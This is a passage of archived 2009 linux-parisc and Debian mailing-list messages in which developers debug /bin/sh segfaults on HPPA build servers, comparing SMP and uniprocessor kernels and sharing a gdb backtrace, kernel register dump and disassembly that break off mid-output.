Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B1A2B5160; Sat,  4 Jul 2009 19:34:54 -0400 (EDT)
In-Reply-To: <20090703221525.GA4242@roeckx.be> from "Kurt Roeckx" at Jul 4, 2009 00:15:25 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1852 gmane.linux.debian.ports.hppa:5803 gmane.linux.debian.devel.release:31004
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1852>

> On Fri, Jul 03, 2009 at 09:28:00PM +0200, Philipp Kern wrote:
> > On Fri, Jul 03, 2009 at 08:57:56PM +0200, Kurt Roeckx wrote:
> > > Did something change to peri?  I'm currently only seeing them on
> > > penalosa.
> > 
> > UP kernel, maybe?
> 
> Both peri and penalosa run 2.6.29-2-parisc64-smp and from what I
> can tell run on identical hardware.

I tried a SMP kernel (2.6.30.1 with the patch set posted earlier) on
my rp34404.  Fired up a GCC build.  It didn't take more than a few
minutes to trigger a couple of segvs in /bin/sh.  On the other hand,
I ran a UP version of 2.6.30 for more than a week without any major
problems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 05 Jul 2009 11:06:52 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <4A506D2C.6080801@gmx.de>
References: <20090704233454.B1A2B5160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246784831 10906 80.91.229.12 (5 Jul 2009 09:07:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jul 2009 09:07:11 +0000 (UTC)
Cc: Kurt Roeckx <kurt@roeckx.be>, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 05 11:07:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNNga-0004a8-VV
	for glpp-linux-parisc@gmane.org; Sun, 05 Jul 2009 11:07:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754160AbZGEJGz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 05:06:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753777AbZGEJGz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 05:06:55 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:53508 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751088AbZGEJGy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 05:06:54 -0400
Original-Received: (qmail invoked by alias); 05 Jul 2009 09:06:55 -0000
Original-Received: from p4FDB1F97.dip0.t-ipconnect.de (EHLO halden.box) [79.219.31.151]
  by mail.gmx.net (mp009) with SMTP; 05 Jul 2009 11:06:55 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18CFsltGt4CEgrilOS88VEjzGvC4ZyFZjYC+BSqwc
	VtKabL+5/+gyxw
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <20090704233454.B1A2B5160@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.55
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1853 gmane.linux.debian.ports.hppa:5804 gmane.linux.debian.devel.release:31006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1853>

On 07/05/2009 01:34 AM, John David Anglin wrote:
>> On Fri, Jul 03, 2009 at 09:28:00PM +0200, Philipp Kern wrote:
>>> On Fri, Jul 03, 2009 at 08:57:56PM +0200, Kurt Roeckx wrote:
>>>> Did something change to peri?  I'm currently only seeing them on
>>>> penalosa.
>>> UP kernel, maybe?
>> Both peri and penalosa run 2.6.29-2-parisc64-smp and from what I
>> can tell run on identical hardware.
>
> I tried a SMP kernel (2.6.30.1 with the patch set posted earlier) on
> my rp34404.  Fired up a GCC build.  It didn't take more than a few
> minutes to trigger a couple of segvs in /bin/sh.  On the other hand,
> I ran a UP version of 2.6.30 for more than a week without any major
> problems.

So, instead of just complaining, wouldn't it be useful if someone with
root access would install a UP kernel (and disable nscd) for the time
being on the build servers?
That way we all would avoid debian build problems and could concentrate
on solving the issues with the SMP kernel itself.

In the meantime, all (IMHO) major kernel patches have now been included
in Linus' 2.6.31-rc2 kernel and I plan to backport and send them to the
stable-kernel team for inclusion into 2.6.29 and 2.6.30 stable
kernel series.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@wooyd.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 14:44:31 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20090705134431.GA6598@droopy.oc.cox.net>
References: <20090704233454.B1A2B5160@hiauly1.hia.nrc.ca> <4A506D2C.6080801@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246801501 17004 80.91.229.12 (5 Jul 2009 13:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jul 2009 13:45:01 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Kurt Roeckx <kurt@roeckx.be>, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org,
	Adam C Powell IV <hazelsct@debian.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Jul 05 15:44:53 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNS1S-0004hL-QH
	for debian-hppa@m.gmane.org; Sun, 05 Jul 2009 15:44:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 6EF1F4C9B9E; Sun,  5 Jul 2009 13:44:50 +0000 (UTC)
Old-Return-Path: <jurij@wooyd.org>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-10.9 required=4.0 tests=FOURLA,FVGT_m_MULTI_ODD,
	LDOSUBSCRIBER,LDO_WHITELIST,MURPHY_DRUGS_REL8 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 11C504CA1D8
	for <lists-debian-hppa@liszt.debian.org>; Sun,  5 Jul 2009 13:44:43 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.86 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FVGT_m_MULTI_ODD=0.02,
	LDO_WHITELIST=-5, MURPHY_DRUGS_REL8=0.02] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id t6AI9KN52uBD for <lists-debian-hppa@liszt.debian.org>;
	Sun,  5 Jul 2009 13:44:38 +0000 (UTC)
Original-Received: from spunkymail-a12.g.dreamhost.com (caiajhbdcbef.dreamhost.com [208.97.132.145])
	by liszt.debian.org (Postfix) with ESMTP id 26AA413A5B9D;
	Sun,  5 Jul 2009 13:44:38 +0000 (UTC)
Original-Received: from wooyd.org (unknown [89.100.52.87])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by spunkymail-a12.g.dreamhost.com (Postfix) with ESMTP id 225897FA8;
	Sun,  5 Jul 2009 06:44:34 -0700 (PDT)
Original-Received: by wooyd.org (Postfix, from userid 1000)
	id 40A18E6DB2; Sun,  5 Jul 2009 14:44:31 +0100 (IST)
Content-Disposition: inline
In-Reply-To: <4A506D2C.6080801@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <O9cwNgqAeiM.A.XIG.S5KUKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6803
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun,  5 Jul 2009 13:44:50 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5805 gmane.linux.ports.parisc:1854 gmane.linux.debian.devel.release:31009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1854>

On Sun, Jul 05, 2009 at 11:06:52AM +0200, Helge Deller wrote:
> On 07/05/2009 01:34 AM, John David Anglin wrote:
>>> On Fri, Jul 03, 2009 at 09:28:00PM +0200, Philipp Kern wrote:
>>>> On Fri, Jul 03, 2009 at 08:57:56PM +0200, Kurt Roeckx wrote:
>>>>> Did something change to peri?  I'm currently only seeing them on
>>>>> penalosa.
>>>> UP kernel, maybe?
>>> Both peri and penalosa run 2.6.29-2-parisc64-smp and from what I
>>> can tell run on identical hardware.
>>
>> I tried a SMP kernel (2.6.30.1 with the patch set posted earlier) on
>> my rp34404.  Fired up a GCC build.  It didn't take more than a few
>> minutes to trigger a couple of segvs in /bin/sh.  On the other hand,
>> I ran a UP version of 2.6.30 for more than a week without any major
>> problems.
>
> So, instead of just complaining, wouldn't it be useful if someone with
> root access would install a UP kernel (and disable nscd) for the time
> being on the build servers?
> That way we all would avoid debian build problems and could concentrate
> on solving the issues with the SMP kernel itself.
>
> In the meantime, all (IMHO) major kernel patches have now been included
> in Linus' 2.6.31-rc2 kernel and I plan to backport and send them to the
> stable-kernel team for inclusion into 2.6.29 and 2.6.30 stable
> kernel series.

HPPA folks, can you please convert at least one buildd to a UP
configuration? I have another example of extreme buildd flakiness mentioned
in bug #529485. Adam C Powell IV <hazelsct@debian.org> writes:

  That's too bad.  I saw 6 attempts to do 3.0.0-X of which two passed the
  first try and four failed.  At that rate (1/3), it would take nine
  attempts to have a decent chance of passing both rounds (debug static
  and optimized shared/static).

HPPA is the only arch for which petsc failed to build, and currently this
blocks petsc transition.

Best regards,
-- 
Jurij Smakov                                           jurij@wooyd.org
Key: http://www.wooyd.org/pgpkey/                      KeyID: C99E03CC



From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Kern <pkern@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 14:01:12 +0000
Organization: The Debian Project (http://www.debian.org)
Lines: 42
Approved: news@gmane.org
Message-ID: <20090705140112.GA22134@kelgar.0x539.de>
References: <20090704233454.B1A2B5160@hiauly1.hia.nrc.ca> <4A506D2C.6080801@gmx.de> <20090705134431.GA6598@droopy.oc.cox.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="qDbXVdCdHGoSgWSk"
X-Trace: ger.gmane.org 1246803022 20458 80.91.229.12 (5 Jul 2009 14:10:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jul 2009 14:10:22 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Kurt Roeckx <kurt@roeckx.be>, pkern@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org,
	Adam C Powell IV <hazelsct@debian.org>
To: Jurij Smakov <jurij@wooyd.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 05 16:10:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNSQ0-0003Tq-OX
	for glpp-linux-parisc@gmane.org; Sun, 05 Jul 2009 16:10:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750773AbZGEOKH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 10:10:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753453AbZGEOKH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 10:10:07 -0400
Original-Received: from tanaris.0x539.de ([78.46.103.116]:36256 "EHLO tanaris.0x539.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750773AbZGEOKG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 10:10:06 -0400
X-Greylist: delayed 519 seconds by postgrey-1.27 at vger.kernel.org; Sun, 05 Jul 2009 10:10:06 EDT
Original-Received: from kelgar.0x539.de ([85.10.226.115])
	by tanaris.0x539.de with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <pkern@kelgar.0x539.de>)
	id 1MNSHY-0001lB-B2; Sun, 05 Jul 2009 16:01:28 +0200
Original-Received: from pkern by kelgar.0x539.de with local (Exim 4.69)
	(envelope-from <pkern@kelgar.0x539.de>)
	id 1MNSHI-0005lq-Lo; Sun, 05 Jul 2009 14:01:12 +0000
Content-Disposition: inline
In-Reply-To: <20090705134431.GA6598@droopy.oc.cox.net>
X-Debbugs-No-Ack: yes
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1855 gmane.linux.debian.ports.hppa:5806 gmane.linux.debian.devel.release:31010
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1855>


--qDbXVdCdHGoSgWSk
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, Jul 05, 2009 at 02:44:31PM +0100, Jurij Smakov wrote:
> HPPA folks, can you please convert at least one buildd to a UP
> configuration? I have another example of extreme buildd flakiness mention=
ed
> in bug #529485. Adam C Powell IV <hazelsct@debian.org> writes:

Well, paer is UP already.  It's interesting though that one of the
peri/penalosa twins works fine with SMP and the other does not.

Kind regards,
Philipp Kern
--=20
 .''`.  Philipp Kern                        Debian Developer
: :' :  http://philkern.de                         Stable Release Manager
`. `'   xmpp:phil@0x539.de                         Wanna-Build Admin
  `-    finger pkern/key@db.debian.org

--qDbXVdCdHGoSgWSk
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkpQsigACgkQ7Ro5M7LPzdj+KACgngYRcPzWAkWbSFQUKao142qM
rQ8AoMIHK/QXLZCtpe+lWuaFmg1p/0Dp
=c/on
-----END PGP SIGNATURE-----

--qDbXVdCdHGoSgWSk--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sun, 5 Jul 2009 13:19:27 -0400 (EDT)
Lines: 246
Approved: news@gmane.org
Message-ID: <20090705171929.5C7205146@hiauly1.hia.nrc.ca>
References: <4A506D2C.6080801@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246814400 15275 80.91.229.12 (5 Jul 2009 17:20:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 5 Jul 2009 17:20:00 +0000 (UTC)
Cc: kurt@roeckx.be, pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 05 19:19:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MNVNX-0002vi-87
	for glpp-linux-parisc@gmane.org; Sun, 05 Jul 2009 19:19:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752474AbZGERTq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Jul 2009 13:19:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752702AbZGERTq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 5 Jul 2009 13:19:46 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3958 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752474AbZGERTp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Jul 2009 13:19:45 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5C7205146; Sun,  5 Jul 2009 13:19:28 -0400 (EDT)
In-Reply-To: <4A506D2C.6080801@gmx.de> from "Helge Deller" at Jul 5, 2009 11:06:52 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1856 gmane.linux.debian.ports.hppa:5807 gmane.linux.debian.devel.release:31012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1856>

> That way we all would avoid debian build problems and could concentrate
> on solving the issues with the SMP kernel itself.

The problem actually may be present in UP kernels.  I had a segv this
morning building GCC with a UP 2.6.30.1:

adave@mx3210:~/gnu/gcc/objdir/hppa-linux/libjava$ gdb -c core /bin/sh
GNU gdb (GDB) 6.8.50.20090510-cvs
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "hppa-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
(no debugging symbols found)
BFD: Warning: /home/dave/gnu/gcc/objdir/hppa-linux/libjava/core is truncated: expected core file size >= 196608, found: 118784.
Reading symbols from /lib/ld.so.1...Reading symbols from /usr/lib/debug/lib/ld-2.9.so...done.
done.
Loaded symbols for /lib/ld.so.1
Reading symbols from /lib/libncurses.so.5...done.
Loaded symbols for /lib/libncurses.so.5
Reading symbols from /lib/libdl.so.2...Reading symbols from /usr/lib/debug/lib/libdl-2.9.so...done.
done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.9.so...done.
done.
Loaded symbols for /lib/libc.so.6
Core was generated by `/bin/sh -c /home/dave/gnu/gcc/gcc/mkinstalldirs `dirname gnu/java/locale/Locale'.
Program terminated with signal 11, Segmentation fault.
#0  _dl_map_object_deps (map=0x403d8880, preloads=0x40001398, npreloads=12, 
    trace_mode=0, open_mode=0) at dl-deps.c:224
224	dl-deps.c: No such file or directory.
	in dl-deps.c
(gdb) bt
#0  _dl_map_object_deps (map=0x403d8880, preloads=0x40001398, npreloads=12, 
    trace_mode=0, open_mode=0) at dl-deps.c:224
#1  0x403b9bd4 in dl_main (phdr=0x10034, phnum=<value optimized out>, 
    user_entry=<value optimized out>) at rtld.c:1780
#2  0x403cb898 in _dl_sysdep_start (start_argptr=<value optimized out>, 
    dl_main=@0x403d7566: 0x403b8fe4 <dl_main>) at ../elf/dl-sysdep.c:239
#3  0x403b785c in _dl_start_final (arg=0xbfff2020, info=0xbfff2348)
    at rtld.c:332
#4  0x403b7adc in _dl_start (arg=0xbfff2020) at rtld.c:560
#5  0x403b742c in _start () from /lib/ld.so.1
#6  0x403b742c in _start () from /lib/ld.so.1
#7  0x403b742c in _start () from /lib/ld.so.1
#8  0x403b742c in _start () from /lib/ld.so.1
#9  0x403b742c in _start () from /lib/ld.so.1
#10 0x403b742c in _start () from /lib/ld.so.1
#11 0x403b742c in _start () from /lib/ld.so.1
#12 0x403b742c in _start () from /lib/ld.so.1
#13 0x403b742c in _start () from /lib/ld.so.1
#14 0x403b742c in _start () from /lib/ld.so.1
#15 0x403b742c in _start () from /lib/ld.so.1
#16 0x403b742c in _start () from /lib/ld.so.1
^CQuit

For some reason, gdb does terminate the backtrace.  Recent versions
of gdb also complain about core file truncation.  Think the full stack
region is not being dumped.

As with most of the segvs that I have debugged in the past, the problem
occurs in the dynamic loader.

This is the tombstone:

Jul  5 04:07:31 mx3210 kernel: 
Jul  5 04:07:31 mx3210 kernel: do_page_fault() pid=22068 command='sh' type=15 address=0x00000004
Jul  5 04:07:31 mx3210 kernel: Jul  5 04:07:31 mx3210 kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Jul  5 04:07:31 mx3210 kernel: PSW: 00000000000001000000000000001111 Not taintedJul  5 04:07:31 mx3210 kernel: r00-03  000000000004000f 00000000403d76a0 0000000
0403c2c23 00000000bfff2ac0
Jul  5 04:07:31 mx3210 kernel: r04-07  00000000403d76a0 000000000000000c 0000000
040001398 00000000403b0dc0
Jul  5 04:07:31 mx3210 kernel: r08-11  0000000000000000 0000000000000002 0000000
040000e88 00000000bfff2d08
Jul  5 04:07:31 mx3210 kernel: r12-15  000000004037e4b4 00000000bfff2c48 00000000403d76a0 0000000000000004
Jul  5 04:07:31 mx3210 kernel: r16-19  00000000bfff2c08 00000000bfff2bc8 00000000bfff2b88 00000000403d76a0
Jul  5 04:07:31 mx3210 kernel: r20-23  00000000bfff2d0f 0000000000000000 0000000040002000 0000000000000001
Jul  5 04:07:31 mx3210 kernel: r24-27  000000000000000c 0000000040001398 00000000400013a8 00000000000365e8
Jul  5 04:07:31 mx3210 kernel: r28-31  0000000000000000 0000000024242424 00000000bfff2e00 00000000403c45c3
Jul  5 04:07:31 mx3210 kernel: sr00-03  000000000000e800 000000000000e800 0000000000000000 000000000000e800
Jul  5 04:07:31 mx3210 kernel: sr04-07  000000000000e800 000000000000e800 000000000000e800 000000000000e800
Jul  5 04:07:31 mx3210 kernel: 
Jul  5 04:07:31 mx3210 kernel:       VZOUICununcqcqcqcqcqcrmunTDVZOUI
Jul  5 04:07:31 mx3210 kernel: FPSR: 00000000000000000000000000000000
Jul  5 04:07:31 mx3210 kernel: FPER1: 00000000
Jul  5 04:07:31 mx3210 kernel: fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
Jul  5 04:07:31 mx3210 kernel: fr04-07  fffffffffffff000 0000000000000000 ffffffffffffff9c bff0000000000000
Jul  5 04:07:31 mx3210 kernel: fr08-11  0000000000000000 000000004055d400 0000000000000802 000000004055d400
Jul  5 04:07:31 mx3210 kernel: fr12-15  00000000401a7d6c 0000000000000000 00000000401a5e94 000000007f40c580
Jul  5 04:07:31 mx3210 kernel: fr16-19  000000007f40ab38 000000007f406c78 000000007f430000 000000007f430000
Jul  5 04:07:31 mx3210 kernel: fr20-23  000000004055d400 00000000404f8bcc 000000000000026a 0000003700000000
Jul  5 04:07:31 mx3210 kernel: fr24-27  0000000000000000 000000007f430000 000000004055d400 0000000000000803
Jul  5 04:07:31 mx3210 kernel: fr28-31  ffffffffffffffe9 000000007ec4bc88 000000004055d400 0000000000000803
Jul  5 04:07:31 mx3210 kernel: 
Jul  5 04:07:31 mx3210 kernel: IASQ: 000000000000e800 000000000000e800 IAOQ: 00000000403c2b03 00000000403c2b07
Jul  5 04:07:31 mx3210 kernel:  IIR: 0f88108c    ISR: 000000000000e800  IOR: 0000000000000004
Jul  5 04:07:31 mx3210 kernel:  CPU:        0   CR30: 00000002bf8fc000 CR31: 0000000040564000
Jul  5 04:07:31 mx3210 kernel:  ORIG_R28: 00000000407a55c8
Jul  5 04:07:31 mx3210 kernel:  IAOQ[0]: 00000000403c2b03
Jul  5 04:07:31 mx3210 kernel:  IAOQ[1]: 00000000403c2b07
Jul  5 04:07:31 mx3210 kernel:  RP(r2): 00000000403c2c23

$ disasm 0x0f88108c
   0:	0f 88 10 8c 	ldw 4(ret0),r12

(gdb) p/x $pc
$1 = 0x403c2b00
(gdb) disass 0x403c2af0 0x403c2b10
Dump of assembler code from 0x403c2af0 to 0x403c2b10:
0x403c2af0 <_dl_map_object_deps+396>:	cmpib,= 0,ret0,0x403c32c8 <_dl_map_object_deps+2404>
0x403c2af4 <_dl_map_object_deps+400>:	ldi 0,r11
0x403c2af8 <_dl_map_object_deps+404>:	ldw 34(r10),ret0
0x403c2afc <_dl_map_object_deps+408>:	ldw -30(r3),r21
0x403c2b00 <_dl_map_object_deps+412>:	ldw 4(ret0),r12
0x403c2b04 <_dl_map_object_deps+416>:	stw r21,18(r3)
0x403c2b08 <_dl_map_object_deps+420>:	ldw -34(r3),ret0
0x403c2b0c <_dl_map_object_deps+424>:	stw r12,20(r3)
End of assembler dump.
(gdb) p/x $r10
$2 = 0x40000e88
(gdb) p/x *($r10 + 0x34)
$3 = 0x0
(gdb) p/x $r10 + 0x34
$4 = 0x40000ebc
(gdb) x/32x $r10
0x40000e88:	0x4029b000	0x40000e78	0x4029e5fc	0x40001118
0x40000e98:	0x40000bf0	0x40000e88	0x00000000	0x400010dc
0x40000ea8:	0x00000000	0x4029e5fc	0x00000000	0x00000000
0x40000eb8:	0x00000000	0x00000000	0x00000000	0x00000000
0x40000ec8:	0x00000000	0x00000000	0x00000000	0x00000000
0x40000ed8:	0x00000000	0x00000000	0x00000000	0x00000000
0x40000ee8:	0x00000000	0x00000000	0x00000000	0x00000000
0x40000ef8:	0x00000000	0x00000000	0x00000000	0x00000000

(gdb) p **preloads
$7 = {l_addr = 1077391360, l_name = 0x40000bd8 "/lib/libncurses.so.5", 
  l_ld = 0x403b0d18, l_next = 0x40000e88, l_prev = 0x403d8180, 
  l_real = 0x40000bf0, l_ns = 0, l_libname = 0x40000e44, l_info = {0x0, 
  0x403b0d20, 0x403b0d70, 0x403b0d68, 0x403b0d40, 0x403b0d48, 0x403b0d50, 
  0x403b0d88, 0x403b0d90, 0x403b0d98, 0x403b0d58, 0x403b0d60, 0x403b0d30, 
  0x403b0d38, 0x403b0d28, 0x0, 0x0, 0x0, 0x0, 0x0, 0x403b0d78, 0x0, 0x0, 
